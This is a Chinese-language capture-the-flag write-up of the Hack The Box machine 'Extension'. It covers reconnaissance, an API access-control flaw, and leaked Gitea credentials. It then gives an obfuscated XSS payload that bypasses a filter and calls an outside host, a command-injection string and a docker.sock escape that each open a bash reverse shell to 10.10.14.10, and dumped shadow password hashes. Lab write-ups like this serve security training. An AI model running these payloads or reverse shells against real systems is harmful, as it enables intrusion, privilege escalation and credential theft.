基本信息

https://www.hackthebox.com/home/machines/profile/482
10.10.11.171

端口扫描

22和80:

$ nmap -sC -sV -Pn 10.10.11.171
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-04 14:17 CST
Nmap scan report for 10.10.11.171
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8221e2a5824ddf3f99db3ed9b3265286 (RSA)
|   256 913ab2922b637d91f1582b1b54f9703c (ECDSA)
|_  256 6520392ba73b33e5ed49a9acea01bd37 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: snippet.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.77 seconds

80

snippet.htb,需要账号密码登录

子域名扫描

添加hosts后扫描子域名，得到dev和mail：

10.10.11.171 snippet.htb

ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u "http://snippet.htb/" -H 'Host: FUZZ.snippet.htb' -fl 30

dev                     [Status: 200, Size: 12822, Words: 1029, Lines: 250, Duration: 328ms]
mail                    [Status: 200, Size: 5311, Words: 364, Lines: 97, Duration: 354ms]

dev

一个gitea，注册账号登录后得到已有的几个有效用户名：

mail

Roundcube Webmail:

API fuzz

主站源码中提取出路由信息：

curl -s 10.10.11.171 | grep Ziggy | sed 's/    const Ziggy = //' | jq | grep uri | awk '{print $2}' | tr -d '"",'

_ignition/health-check
_ignition/execute-solution
_ignition/share-report
_ignition/scripts/{script}
_ignition/styles/{style}
dashboard
users
snippets
snippets/{id}
snippets/update/{id}
snippets/update/{id}
snippets/delete/{id}
new
management/validate
management/dump
register
login
forgot-password
forgot-password
reset-password/{token}
reset-password
verify-email
verify-email/{id}/{hash}
email/verification-notification
confirm-password
logout

management/dump

fuzz参数，fuzz值，得到users信息，profile是空的：

破解出几个有效账号密码：

gia@snippet.htb
juliana@snippet.htb
letha@snippet.htb
fredrick@snippet.htb
ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f:password123

snippet

任意一个有效账号密码登录，查看snippets，只有一个可以查看的，修改id发现存在API，现在无权限查看：

自己创建一个snippet，更新信息时只保留public为true(重要，别把内容也给改了，那就只能reset了)，修改id为2，可以越权修改其他snippet的设置，从而查看id为2的snippet：

1
2
3

curl -XGET http://dev.snippet.htb/api/v1/users/jean/tokens -H 'accept: application/json' -H 'authorization: basic amVhbjpFSG1mYXIxWTdwcEE5TzVUQUlYblluSnBB'

jean:EHmfar1Y7ppA9O5TAIXnYnJpA

Gitea

jean是gitea那里的有效用户，可以登录dev的gitea,查看代码发现对issue的XSS过滤：

str.replace 仅替换第一次出现的 <> 标签，因此我们可以使用两个 <> 标签来绕过它

查看设置可以发现charlie是合作者，所以可以通过issue xss去打charlie：

xss

所以就是通过XSS把我们当前的jean用户加入到charlie的合作者中, 在charlie的repo中得到backup：

XSS-Payloads/Without-Parentheses.md at master · RenwaX23/XSS-Payloads
https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md

test<test><img SRC="x" onerror=eval.call`${"eval\x28atob`dmFyIHU9J2h0dHA6Ly9kZXYuc25pcHBldC5odGIvY2hhcmxpZS9iYWNrdXBzL3NldHRpbmdzL2NvbGxhYm9yYXRpb24nO2ZldGNoKHUpLnRoZW4ociA9PiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdtZXRhW25hbWU9Il9jc3JmIl0nKS5jb250ZW50KS50aGVuKHQgPT4gZmV0Y2godSx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOiB7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDsnfSwgYm9keTonY29sbGFib3JhdG9yPWplYW4mX2NzcmY9Jyt0fSkudGhlbihkID0+IGZldGNoKCdodHRwOi8vMTAuMTAuMTQuMTAvP2RvbmUnKSkp`\x29"}`>

user flag

backup中得到charlie的ssh 私钥，登录，然后切换到jean用户，密码就是前面得到的，得到user flag：

charlie_id_rsa

提权信息

运行pspy，得到mysql密码：

查看用户目录中的代码，发现可能存在命令注入：

因为是docker的mysql，靶机上没有mysql客户端，所以转发端口后查看信息：

ssh -i charlie_id_rsa charlie@10.10.11.171 -L 13306:127.0.0.1:3306

use webapp;
update users set user_type='Manager' where email='gia@snippet.htb';

命令注入

把我们已有的gia用户修改为管理员，网页上查看member查处的validate功能就是前面存在命令注入的功能点：

那直接创建一个恶意用户，利用命令注入得到容器 shell：

1	insert into users(name,email) values('shell','shell@shell\|\| bash -c "bash -i >& /dev/tcp/10.10.14.10/4444 0>&1" &');

docker 逃逸 & root flag

/app目录中存在docker.sock文件，常规docker逃逸：

Exploit docker.sock to mount root filesystem in a container
https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25

curl -s --unix-socket /app/docker.sock http://localhost/images/json
# output
laravel-app_main:latest

cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.10/4444 0<&1'\\\"\"]"
curl -s -X POST --unix-socket /app/docker.sock -d "{\"Image\":\"laravel-app_main\",\"cmd\":$cmd,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=miao_root
curl -s -X POST --unix-socket /app/docker.sock "http://localhost/containers/miao_root/start"

得到root shell：

shadow

1
2
3

root:$6$XJ0deONw$c1ag/76NHYRVSxMwMeoYPUDsxZDdjC6sX5KKa.QUHi2mjIwN1NlLyRt3QS3E6JjPknuSSOyIUcTTq2SbIXZle/:19157:0:99999:7:::
jean:$6$2ct8z568$.FX4a9sSYGk0QxQiqfiMFIRu.oGdRvGcFgtOz3Hu9bV2i6/Z.IpWlZxZn5iySUJuq9Rqw6oS8yTSFxbAZ4ede.:19156:0:99999:7:::
charlie:$6$Ai.uOoSz$8QB.fXSM7pS2DDpUNBR3Xr3v3MUqlWdSmwEtOjOaRpH73UxGrcxJ/hPkM7h.MfFHM2gzoyHL0.c7s/glcc0Fu.:18995:0:99999:7:::

root_id_rsa

参考资料

XSS-Payloads/Without-Parentheses.md at master · RenwaX23/XSS-Payloads
https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
Exploit docker.sock to mount root filesystem in a container
https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25
Extension - HTB [Discussion] | BreachForums
https://breached.vc/Thread-Extension-HTB-Discussion
Writeup Extension HackTheBox
https://gatogamer1155.github.io/hackthebox/extension/
HTB - Extension [Hard] // MeowMeowAttack’s security.log
https://meowmeowattack.github.io/htb/extension/

Extension - HackTheBox

2022-12-04